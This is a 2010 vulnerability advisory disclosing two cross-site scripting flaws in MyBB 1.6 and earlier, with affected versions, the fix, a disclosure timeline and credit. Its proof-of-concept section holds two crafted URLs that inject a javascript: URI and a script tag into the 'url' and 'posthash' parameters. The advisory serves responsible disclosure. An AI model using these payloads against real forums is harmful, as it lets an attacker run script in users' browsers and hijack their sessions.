============================================ MyBB 1.6 <= Cross Site Scripting (XSS) Vulnerability ============================================ 1. OVERVIEW MyBB was vulnerable to Cross Site Scripting Vulnerability. 2. APPLICATION DESCRIPTION MyBB is a free bulletin board system software package developed by the MyBB Group. It's supposed to be developed from XMB and DevBB bulletin board applications. 3. VULNERABILITY DESCRIPTION Two XSS vulnerabilities were found. One is user-driven XSS on "url" parameter. User will get xssed upon successful log-in. The other is a reflected XSS on "posthash" parameter where the valid tid (topic id) is required for successful attack. The anti-CSRF check against "my_post_key" parameter was not done in thread/post preview mode and thus there came a way for XSS to be successful. 4. VERSIONS AFFECTED MyBB 1.6 and lower 5. PROOF-OF-CONCEPT/EXPLOIT User-driven XSS http://attacker.in/mybb/member.php?action=login&url=javascript:alert%28/XSS/%29 Reflected XSS http://attacker.in/mybb/newreply.php?my_post_key=&subject=XSS&action=do_newreply&posthash="><script>alert(/XSS/)</script>&quoted_ids=&lastpid=1&from_page=1&tid=1&method=quickreply&message=test&previewpost=Preview Post 6. SOLUTION Upgrade to 1.6.1 7. VENDOR MyBB Development Team http://www.mybb.com/ 8. CREDIT This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2010-12-09: notified vendor 2010-12-15: vendor released fixed version 2010-12-20: vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[mybb1.6]_cross_site_scripting About MyBB: http://www.mybb.com/about/mybb #yehg [2010-12-20] --------------------------------- Best regards, YGN Ethical Hacker Group Yangon, Myanmar http://yehg.net Our Lab | http://yehg.net/lab Our Directory | http://yehg.net/hwd